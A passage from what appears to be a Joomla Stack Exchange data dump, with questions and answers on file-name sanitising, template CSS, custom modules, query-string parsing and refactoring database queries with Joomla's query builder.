UPLOAD.docx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The models/forms/test.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;field name=&quot;id&quot; type=&quot;text&quot; default=&quot;0&quot; label=&quot;JGLOBAL_FIELD_ID_LABEL&quot;&#xA;           readonly=&quot;true&quot; class=&quot;readonly&quot;&#xA;           description=&quot;JGLOBAL_FIELD_ID_DESC&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;title&quot; type=&quot;text&quot; class=&quot;inputbox&quot;&#xA;           size=&quot;40&quot; label=&quot;JGLOBAL_TITLE&quot;&#xA;           description=&quot;COM_TEST_FIELD_TITLE_DESC&quot; required=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;alias&quot; type=&quot;text&quot; class=&quot;inputbox&quot;&#xA;           size=&quot;40&quot; label=&quot;JFIELD_ALIAS_LABEL&quot;&#xA;           description=&quot;COM_TEST_FIELD_ALIAS_DESC&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;access&quot; type=&quot;accesslevel&quot; label=&quot;JFIELD_ACCESS_LABEL&quot;&#xA;           description=&quot;JFIELD_ACCESS_DESC&quot; class=&quot;span12 small&quot; size=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;catid&quot; type=&quot;category&quot; extension=&quot;com_test&quot; class=&quot;inputbox&quot; default=&quot;&quot; label=&quot;COM_TEST_FIELD_CATID_LABEL&quot; &#xA;           description=&quot;COM_TEST_FIELD_CATID_DESC&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;0&quot;&amp;gt;JOPTION_SELECT_CATEGORY&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&quot;client_id&quot; type=&quot;user&quot;&#xA;           label=&quot;COM_TEST_USER&quot;&#xA;           description=&quot;COM_TEST_USER_DESC&quot;&#xA;           required=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;published&quot; type=&quot;list&quot; label=&quot;JSTATUS&quot; description=&quot;JFIELD_PUBLISHED_DESC&quot; class=&quot;inputbox small&quot; size=&quot;1&quot; default=&quot;1&quot; &amp;gt;&#xA;      &amp;lt;option value=&quot;1&quot;&amp;gt;JPUBLISHED&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;0&quot;&amp;gt;JUNPUBLISHED&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;2&quot;&amp;gt;JARCHIVED&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;-2&quot;&amp;gt;JTRASHED&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field&#xA;      name=&quot;cache_handler&quot; type=&quot;cachehandler&quot; default=&quot;&quot; label=&quot;COM_TEST_FIELD_CACHE_HANDLER_LABEL&quot;&#xA;      description=&quot;COM_TEST_FIELD_CACHE_HANDLER_DESC&quot; filter=&quot;word&quot;&amp;gt;&#xA;      &amp;lt;field name=&quot;catid&quot; type=&quot;category&quot; extension=&quot;com_test&quot;&#xA;             label=&quot;JCATEGORY&quot; description=&quot;COM_TEST_FIELD_CATEGORY_DESC&quot;&#xA;             class=&quot;inputbox&quot;&#xA;      &amp;gt;&#xA;      &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field&#xA;      name=&quot;created&quot; &#xA;      type=&quot;calendar&quot; &#xA;      label=&quot;COM_CONTENT_FIELD_CREATED_LABEL&quot;&#xA;      description=&quot;COM_CONTENT_FIELD_CREATED_DESC&quot;&#xA;      translateformat=&quot;true&quot;&#xA;      showtime=&quot;true&quot;&#xA;      size=&quot;22&quot;&#xA;      filter=&quot;user_utc&quot; /&amp;gt;&#xA;      &amp;lt;field name=&quot;file&quot; type=&quot;file&quot; label=&quot;Enter some text&quot; description=&quot;Choose an image from your computer with maximum 100KB&quot; &#xA;             size=&quot;40&quot; accept=&quot;.doc, .docx&quot; /&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2019-08-15T08:49:15.913" Title="JFile::makeSafe does not convert file name" Tags="|joomla-3.x|joomla-api|file-upload|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23168" PostTypeId="1" AcceptedAnswerId="23170" CreationDate="2018-07-20T19:11:28.670" Score="1" ViewCount="466" Body="&lt;p&gt;I'm trying to change the size of the logo in beez3 on this website: &lt;a href=&quot;https://jurahaus-verein.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jurahaus-verein.de/&lt;/a&gt; to a smaller logo but so far didn't succeed with either of the following:&#xA;- saving it in a smaller size and uploading it&#xA;- changing the minimum size in personal.css as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.logoheader {&#xA;background: url(../images/personal/personal2.png) no-repeat right&#xA;    bottom #0C1A3E;&#xA;color: #FFFFFF;&#xA;min-height: 175px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(deleting cookies and cash also didn't work). Is there any hint, how to make the logo smaller?&lt;/p&gt;&#xA;" OwnerUserId="12724" LastActivityDate="2018-07-20T19:17:58.113" Title="Beez 3 Logo size" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23169" PostTypeId="2" ParentId="23168" CreationDate="2018-07-20T19:16:48.317" Score="1" Body="&lt;p&gt;Try css &lt;code&gt;background-size&lt;/code&gt; (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/background-size&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;docs&quot;&gt;docs&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it to something like &lt;code&gt;background-size:cover;&lt;/code&gt; to have it size automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a percentage of the image size: &lt;code&gt;background-size:80%;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a set pixel width: &lt;code&gt;background-size:600px;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2018-07-20T19:16:48.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23170" PostTypeId="2" ParentId="23168" CreationDate="2018-07-20T19:17:58.113" Score="1" Body="&lt;p&gt;You trying to change not logotype, but head background image (houses, road etc.)&#xA;Your logo is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/images/logo_mit_Anschrift_Rotkreuzgassetransp_kulturerbe.png&quot; alt=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it styling in position.css file (class - #logo img on line 283). Add width to style to change the size of logo (do not forget the height: auto).&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-07-20T19:17:58.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23171" PostTypeId="2" ParentId="23166" CreationDate="2018-07-20T20:06:27.410" Score="2" Body="&lt;p&gt;Well, the &lt;code&gt;JFile::makeSafe()&lt;/code&gt; method doesn't do the conversion that I thought it did. I thought that it would remove spaces from the filename as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The description in the Joomla docs is not very clear.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Description&lt;br&gt;&#xA;  Makes file name safe to use.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I used &lt;code&gt;strtolower()&lt;/code&gt; and &lt;code&gt;str_replace()&lt;/code&gt; to modify the filename.&lt;/p&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12352" LastEditDate="2019-08-15T08:49:15.913" LastActivityDate="2019-08-15T08:49:15.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23172" PostTypeId="1" AcceptedAnswerId="23173" CreationDate="2018-07-21T17:30:29.127" Score="0" ViewCount="34" Body="&lt;p&gt;I am Using Joomla 3.8. I added some contacts to the system and a menu. The menu contains a menu entry &quot;Contacts&quot; that lists all of the contacts of a certain category. This all works fine and was easy to do using the built-in menu entry types provided by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I would like to add an additional sentence about e-mail privacy to that contact list. Since the list is generated by Joomla (and is no editable article) I have no idea how to add custom text above or below the contact list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="12728" LastActivityDate="2018-09-20T11:01:08.493" Title="Add custom text to a contact list" Tags="|menu-item|contact|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23173" PostTypeId="2" ParentId="23172" CreationDate="2018-07-22T09:18:45.307" Score="0" Body="&lt;p&gt;I think I found a very good solution for the problem. Key is the fact that multiple modules can be located at a single position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new custom module. Using the WYSIWYG editor I put in my e-mail privacy hint (including a link). Then I located that module to the footer position (which was already used for the copyright) in the right order (privacy hint above copyright). I selected to enable this module for the contact list menu/page only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is exactly what I need. An additional advantage of that solution is that I can easily enable for additional menus/pages.&lt;/p&gt;&#xA;" OwnerUserId="12728" LastActivityDate="2018-07-22T09:18:45.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23174" PostTypeId="2" ParentId="14144" CreationDate="2018-07-22T14:26:34.303" Score="1" Body="&lt;p&gt;Your malformed url querystring is to blame -- specifically the second &lt;code&gt;?&lt;/code&gt; which should be &lt;code&gt;&amp;amp;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/e5TYH&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'http://localhost/kitchen-guide-new/index.php?option=com_content&amp;amp;view=article&amp;amp;id=45?subscribers_email=test@gmail.com&amp;amp;subscribers_name=test&amp;amp;encoding=UTF-8';&#xA;&#xA;parse_str(parse_url($url, PHP_URL_QUERY), $array);&#xA;&#xA;var_export($array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  'option' =&amp;gt; 'com_content',&#xA;  'view' =&amp;gt; 'article',&#xA;  'id' =&amp;gt; '45?subscribers_email=test@gmail.com',&#xA;  'subscribers_name' =&amp;gt; 'test',&#xA;  'encoding' =&amp;gt; 'UTF-8',&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see, the querystring parsing is dependent on the first occurring &lt;code&gt;?&lt;/code&gt; to dictate the start of the data.  The key-value pairs are bound together with &lt;code&gt;=&lt;/code&gt; and are separated from other pairs by &lt;code&gt;&amp;amp;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a consequence of your typo, the &lt;code&gt;subscribers_email&lt;/code&gt; key and value are appended to the &lt;code&gt;id&lt;/code&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-23T22:45:16.733" LastActivityDate="2018-07-23T22:45:16.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23175" PostTypeId="2" ParentId="9940" CreationDate="2018-07-23T03:51:35.147" Score="0" Body="&lt;p&gt;Using &lt;a href=&quot;https://stackoverflow.com/q/20138355/2943403&quot;&gt;commas as a means to &lt;code&gt;JOIN&lt;/code&gt; tables&lt;/a&gt; is an older style syntax.  More recently, MySQL has offered more keywords to better describe the joining intent (improving code readability).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your commas represent &lt;code&gt;INNER JOIN&lt;/code&gt;s, and Joomla has a designated query method for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I will recommend a &lt;code&gt;try {} catch{}&lt;/code&gt; block that will aid in the handling and debugging of your code.  None of your tables, columns, or values require any backtick or single quote wrapping, so I will not call any &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; or &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; methods.  If your &lt;em&gt;real&lt;/em&gt; query does have variables, or otherwise needs these considerations, my snippet is well-suited to receive these amendments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&#xA;                    array(&quot;a.firstname&quot;, &quot;a.lastname&quot;, &quot;b.leadname&quot;, &quot;b.lead_des&quot;)&#xA;                  )&#xA;                -&amp;gt;from(&quot;club a&quot;)&#xA;                -&amp;gt;innerJoin(&quot;leadership b ON a.club_id = b.club_id&quot;)&#xA;                -&amp;gt;innerJoin(&quot;user c ON b.user_id = c.user_id&quot;)&#xA;                -&amp;gt;where('a.club_id = 11');&#xA;    //echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $resultset = $db-&amp;gt;loadAssocList();&#xA;    if (!$resultset) {&#xA;        echo &quot;No Rows In Resultset&quot;;&#xA;    } else {&#xA;        foreach ($resultset as $row) {&#xA;            echo &quot;&amp;lt;div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;First Name: {$row['firstname']}&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;Last Name: {$row['lastname']}&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;Lead Name: {$row['leadname']}&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;Lead Description: {$row['lead_des']}&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error &quot;; // . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-27T21:47:39.747" LastActivityDate="2018-09-27T21:47:39.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23176" PostTypeId="5" CreationDate="2018-07-23T04:06:58.330" Score="0" Body="&lt;p&gt;From: &lt;a href=&quot;https://developer.joomla.org/coding-standards.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/coding-standards.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Joomla Coding Standards Manual is to help ensure our code is the highest quality which will make it easy to read, debug, and maintain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://github.com/joomla/coding-standards&quot; rel=&quot;nofollow noreferrer&quot;&gt;github page&lt;/a&gt; for specifics on preferred syntax styling.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-23T16:53:06.290" LastActivityDate="2018-07-23T16:53:06.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23177" PostTypeId="4" CreationDate="2018-07-23T04:06:58.330" Score="0" Body="For questions which focus on the styling of syntax which should conform to Joomla's coding standards." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-23T20:39:30.307" LastActivityDate="2018-07-23T20:39:30.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23178" PostTypeId="5" CreationDate="2018-07-23T04:16:02.473" Score="0" Body="&lt;p&gt;An explanation of what a CDN is and what it does can be found &lt;a href=&quot;https://www.globaldots.com/content-delivery-network-explained/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of CDNs are: &lt;strong&gt;MaxCDN&lt;/strong&gt;, &lt;strong&gt;CloudFlare&lt;/strong&gt;, &lt;strong&gt;Rackspace&lt;/strong&gt;, &lt;strong&gt;Amazon’s AWS&lt;/strong&gt;, &lt;strong&gt;Fastly&lt;/strong&gt;, and more&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-24T12:35:56.007" LastActivityDate="2018-07-24T12:35:56.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23179" PostTypeId="4" CreationDate="2018-07-23T04:16:02.473" Score="0" Body="An acronym for Content Delivery Network -- to be used when a question is related to a system of distributed servers (network) that deliver pages and other Web content to a user." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-23T20:39:43.590" LastActivityDate="2018-07-23T20:39:43.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23181" PostTypeId="2" ParentId="17966" CreationDate="2018-07-23T11:54:24.753" Score="1" Body="&lt;p&gt;Please try disabling SEF for a minute, refreshing, and seeing if that makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-07-23T11:54:24.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23182" PostTypeId="1" AcceptedAnswerId="23188" CreationDate="2018-07-24T05:39:32.500" Score="1" ViewCount="73" Body="&lt;p&gt;I want add schema in my Joomla menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;// Get menu items - array with menu items&#xA;$items = $menu-&amp;gt;getItems('menutype', 'mainmenu');&#xA;//print_r($items);&#xA;?&amp;gt;&#xA;&amp;lt;ul itemscope itemtype=&quot;http://www.schema.org/SiteNavigationElement&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($items as $i =&amp;gt; $menu_item){ ?&amp;gt;&#xA;        &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;&amp;lt;?php if($menu_item-&amp;gt;level == '1') { echo $menu_item-&amp;gt;title; } ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php if($menu_item-&amp;gt;level == '2') { ?&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php echo $menu_item-&amp;gt;title; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, the sub-menu is not being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul itemscope itemtype=&quot;http://www.schema.org/SiteNavigationElement&quot;&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;DIFC&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;ADGM&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Publications&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;FinTech: Now Everybody Wants A Slice of the Pie&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;The Role of Financial Centres in Emerging Economies&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Bitcoin versus Ethereum &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;ADGM&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;DIFC&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Finance&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Publications&lt;/code&gt; menu has submenus &lt;code&gt;FinTech&lt;/code&gt; and two more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out how to print the submenus.&lt;/p&gt;&#xA;" OwnerUserId="11254" LastEditorUserId="12352" LastEditDate="2018-07-24T14:11:05.500" LastActivityDate="2018-07-24T14:11:05.500" Title="How to display submenus in customized Joomla menu?" Tags="|joomla-3.x|menu-item|submenu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23183" PostTypeId="1" AcceptedAnswerId="23184" CreationDate="2018-07-24T06:58:21.297" Score="2" ViewCount="292" Body="&lt;p&gt;I need to export the language overrides which i set in the joomla 3.8 admin.&#xA;I couldn't find any option at extensions-&gt;languages-&gt;overrides and i also couldn't find the overrides inside the database.&#xA;Searching this topic wasn't helpful.&#xA;Where are the language overrides stored and how can i export them?&lt;/p&gt;&#xA;" OwnerUserId="12733" LastActivityDate="2018-07-24T07:17:57.693" Title="Export language overrides" Tags="|joomla-3.x|overrides|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23184" PostTypeId="2" ParentId="23183" CreationDate="2018-07-24T07:17:57.693" Score="3" Body="&lt;p&gt;Like all languages strings, overrides are stored in .ini files in language directories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/administrator/language/overrides/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/language/overrides/&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-24T07:17:57.693" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23185" PostTypeId="2" ParentId="17838" CreationDate="2018-07-24T07:52:25.950" Score="0" Body="&lt;p&gt;Regarding your issue, when you have duplicate column names in your resultset, all later columns overwrite the earlier columns.  To make a distinction between the columns, you must explicitly add the table name before the column (as you were doing elsewhere in your code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that little hiccup, there are many, many ways to refine your snippet which will improve readability and security.  While I cannot be completely certain of your how effective/efficient your query is without your database structure and sample data, I think many of my suggestions will serve to optimize your code by virtue of &quot;best practice&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code (without pagination lines -- because I am not yet familiar with Joomla's pagination methods):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;try {&#xA;    // build array of conditions to be glued together with AND&#xA;    $where = array(&quot;cv.state = 1&quot;);  // no longer in ON clause&#xA;    if ($brand) {&#xA;        $where[] = &quot;cc.id = &quot; . $db-&amp;gt;q($brand);&#xA;    }&#xA;    if ($Carmodel) {&#xA;        $where[] = &quot;cv.v_prod_id = &quot; . $db-&amp;gt;q($Carmodel);&#xA;    }&#xA;    if ($minprice !== &quot;&quot; &amp;amp;&amp;amp; $maxprice !== &quot;&quot;) {&#xA;        $where[] = &quot;cv.v_price BETWEEN &quot; . (int)$minprice . &quot; AND &quot; . (int)$maxprice;&#xA;    } elseif ($minprice) {&#xA;        $where[] = &quot;cv.v_price &amp;gt;= &quot; . (int)$minprice;&#xA;    } elseif ($maxprice) {&#xA;        $where[] = &quot;cv.v_price &amp;lt;= &quot; . (int)$maxprice;&#xA;    }&#xA;    if ($reg_year) {&#xA;        $where[] = &quot;cv.registration_year = &quot; . (int)$reg_year;&#xA;    }&#xA;    if ($reg_city) {&#xA;        $where[] = &quot;cv.registration_city = &quot; . $db-&amp;gt;q($reg_city);&#xA;    }&#xA;    if ($kms_min !== &quot;&quot; &amp;amp;&amp;amp; $kms_max !== &quot;&quot;) {&#xA;        $where[] = &quot;cv.kms_run BETWEEN &quot; . (int)$kms_min . &quot; AND &quot; . (int)$kms_max;&#xA;    } elseif ($kms_min) {&#xA;        $where[] = &quot;cv.kms_run &amp;gt;= &quot; . (int)$kms_min;&#xA;    } elseif ($kms_max) {&#xA;        $where[] = &quot;cv.kms_run &amp;lt;= &quot; . (int)$kms_max;&#xA;    }&#xA;    if ($location) {&#xA;        $where[] = &quot;cv.v_location=&quot; . $db-&amp;gt;q($location);&#xA;    }&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&#xA;                    array(&quot;cv.v_small_img&quot;, &quot;cv.cat_name&quot;, &quot;cv.v_prod_id&quot;, &quot;cv.id&quot;)&#xA;                  )&#xA;                -&amp;gt;from(&quot;#__usedcar_variants cv&quot;)&#xA;                -&amp;gt;innerJoin(&quot;#__usedcar_products cp ON cp.id = cv.v_prod_id&quot;)&#xA;                -&amp;gt;innerJoin(&quot;#__usedcar_categories cc ON cc.id = cp.prod_cat_id&quot;)&#xA;                -&amp;gt;where($where)&#xA;                -&amp;gt;order(&quot;cv.id DESC&quot;);&#xA;&#xA;    //echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $resultset = $db-&amp;gt;loadObjectList();&#xA;    if (!$resultset) {&#xA;        $output = &quot;No Rows In Resultset&quot;;&#xA;    } else {&#xA;        $output = '&amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;';&#xA;        $output .= '&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;[Header Text]&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        foreach ($resultset as $row) {&#xA;            $output .= '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;';&#xA;            $output .= '&amp;lt;div class=&quot;technology&quot;&amp;gt;' . $row-&amp;gt;cat_name . '&amp;lt;/div&amp;gt;';&#xA;            $output .= '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;index.php?option=com_usedcar&amp;amp;view=product&amp;amp;pid=' . $row-&amp;gt;v_prod_id . '&amp;amp;vid=' . $row-&amp;gt;id . '&quot;&amp;gt;&amp;lt;b&amp;gt;Used&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;            $output .= '&amp;lt;img src=&quot;' . ($row-&amp;gt;v_small_img != '' ? $row-&amp;gt;v_small_img : '#') . '&quot;&amp;gt;';&#xA;            $output .= '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;        $output .= '&amp;lt;/table&amp;gt;';&#xA;    }&#xA;} catch (Exception $e) {&#xA;    $output = &quot;Syntax Error &quot;; // . $e-&amp;gt;getMessage();&#xA;}&#xA;return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use JDatabase query methods -- this is what they were designed for.&lt;/li&gt;&#xA;&lt;li&gt;Use a &lt;code&gt;try {} catch {}&lt;/code&gt; block to help you to debug when things go wrong.&lt;/li&gt;&#xA;&lt;li&gt;Build your &lt;code&gt;WHERE&lt;/code&gt; conditions as an array, because the &lt;code&gt;where()&lt;/code&gt; method is happy to receive an array of conditions and assumes 